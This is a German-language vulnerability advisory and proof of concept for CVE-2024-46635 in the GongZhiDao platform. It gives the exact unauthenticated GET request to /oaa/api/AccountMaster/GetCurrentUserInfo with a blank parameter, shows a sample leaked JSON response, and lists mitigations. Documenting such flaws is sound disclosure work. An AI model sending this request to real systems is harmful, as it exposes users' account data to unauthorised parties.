
Proof-of-Concept für CVE-2024-46635: eine unsachgemäße Eingabevalidierungsschwachstelle im API-Endpunkt des GongZhiDao-Systems, die sensible Benutzerinformationen ohne Authentifizierung preisgibt.
Das GongZhiDao System ist eine von GongZhiDao entwickelte Plattform. Es bietet Unternehmenslösungen, darunter Benutzerverwaltung, Datenanalyse und Betriebsfunktionen. Allerdings wurde eine Sicherheitslücke in einem der API-Endpunkte entdeckt, die potenziell zur Offenlegung sensibler Benutzerinformationen ohne ordnungsgemäße Autorisierung führen könnte.
In dem API-Endpunkt /oaa/api/AccountMaster/GetCurrentUserInfo des GongZhiDao Systems besteht eine Sicherheitslücke. Durch die Übergabe von %20 (einem URL-codierten Leerzeichen) anstelle des Parameters UserNameOrPhoneNumber antwortet die API mit sensiblen Benutzerinformationen, einschließlich Kontonummer, Benutzername und E-Mail-Adresse, selbst ohne ordnungsgemäße Authentifizierung oder Autorisierung. Diese unsachgemäße Eingabevalidierung ermöglicht es Angreifern, unbefugten Zugriff auf sensible Daten zu erlangen.
Eine erfolgreiche Ausnutzung dieser Sicherheitslücke könnte zur Offenlegung sensibler Benutzerdaten führen, einschließlich:
Ein Angreifer könnte diese Informationen nutzen, um weitere Angriffe wie Identitätsdiebstahl oder Phishing durchzuführen.
Um die Sicherheitslücke auszunutzen, muss ein Angreifer eine manipulierte HTTP-GET-Anfrage an den anfälligen API-Endpunkt senden:
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
Diese Anfrage gibt eine 200-OK-Antwort mit sensiblen Benutzerdaten im JSON-Format zurück:
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber mit %20 als EingabeImplementieren Sie eine ordnungsgemäße Eingabevalidierung: Stellen Sie sicher, dass der Parameter UserNameOrPhoneNumber ordnungsgemäß bereinigt und validiert wird. Eingaben wie %20 sollten zurückgewiesen werden.
Autorisierungsprüfungen: Implementieren Sie ordnungsgemäße Autorisierungsmechanismen, um sicherzustellen, dass nur authentifizierte und autorisierte Benutzer auf sensible Informationen zugreifen können.
Ratenbegrenzung und Überwachung: Wenden Sie Ratenbegrenzung auf API-Endpunkte an, um Brute-Force- oder automatisierte Angriffe zu verhindern, und überwachen Sie die API-Aktivität auf abnormale Zugriffsmuster.
Diese Sicherheitslücke wurde von hithub entdeckt.